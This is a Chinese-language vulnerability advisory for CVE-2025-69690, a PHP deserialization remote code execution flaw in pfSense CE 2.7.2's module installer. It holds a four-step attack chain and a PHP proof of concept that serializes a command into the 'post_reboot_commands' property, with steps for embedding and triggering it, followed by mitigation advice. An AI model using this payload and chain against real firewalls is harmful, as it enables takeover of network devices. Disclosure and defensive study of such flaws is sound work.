IPBUF安全漏洞报告
English
CVE-2025-69690 CVSS 9.1 严重

CVE-2025-69690 pfSense CE 远程代码执行漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2025-69690
漏洞类型
远程代码执行
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Netgate pfSense CE

相关标签

RCEpfSense代码执行反序列化Netgate

漏洞概述

Netgate pfSense CE 2.7.2版本存在一个严重的安全漏洞,允许攻击者通过模块安装器执行任意代码。该漏洞的成因在于系统对备份文件的处理逻辑存在缺陷,攻击者可以上传包含恶意序列化PHP对象的特制备份文件。尽管供应商对此存在争议,声称该功能仅供管理员使用且属于预期行为,但由于CVSS评分高达9.1且影响范围广泛,该漏洞仍被视为高危风险。利用该漏洞可能导致系统机密性、完整性和可用性完全受损。

技术细节

该漏洞的核心原理在于PHP对象注入。当pfSense的模块安装器处理上传的备份文件时,会反序列化文件中包含的PHP对象。攻击者可以构造恶意的序列化数据,并在其中设置特定的属性(如`post_reboot_commands`)。当系统反序列化该对象并尝试使用这些属性时,攻击者注入的命令将被系统执行。虽然该漏洞需要高权限(PR:H)才能触发,即攻击者通常需要拥有管理员凭据,但一旦利用成功,由于作用域变更(S:C),攻击者可以突破当前的受限环境,完全控制底层操作系统,执行任意系统命令。

攻击链分析

STEP 1
1. 获取访问权限
攻击者需要获取pfSense管理界面的高权限账户凭据(管理员权限),因为利用条件要求PR:H。
STEP 2
2. 构造恶意备份文件
攻击者创建一个特制的备份文件,其中包含序列化的PHP对象,该对象的`post_reboot_commands`属性被设置为恶意系统命令。
STEP 3
3. 上传Payload
攻击者登录pfSense管理后台,访问模块安装器功能,并上传包含恶意Payload的备份文件。
STEP 4
4. 触发反序列化
系统在处理上传的文件时进行反序列化操作,解析`post_reboot_commands`属性,并在系统上下文中执行攻击者注入的代码,从而获得服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /* * PoC Generator for CVE-2025-69690 * This script generates a serialized PHP object payload. * The payload targets the 'post_reboot_commands' property. */ class PfSenseModuleInstaller { // Target property that triggers command execution public $post_reboot_commands; } // Initialize the object $payloadObject = new PfSenseModuleInstaller(); // Define the malicious command to execute // Example: Create a simple file to prove execution $maliciousCommand = "echo 'CVE-2025-69690 POC' > /tmp/pwned.txt"; // Assign the command to the vulnerable property $payloadObject->post_reboot_commands = $maliciousCommand; // Generate the serialized payload $serializedPayload = serialize($payloadObject); // Output the payload echo "Generated Serialized Payload:\n"; echo $serializedPayload . "\n"; /* * Usage Instructions: * 1. Embed this serialized string into a valid pfSense backup file structure. * 2. Upload the crafted backup file using the Module Installer feature. * 3. Trigger the installation/reboot process to execute the command. */ ?>

影响范围

Netgate pfSense CE 2.7.2

防御指南

临时缓解措施
建议暂时禁用模块安装器功能,除非必须使用。管理员应定期审查系统配置和日志,检查是否存在异常的`post_reboot_commands`条目。此外,应避免从不可信来源导入或恢复备份文件。

参考链接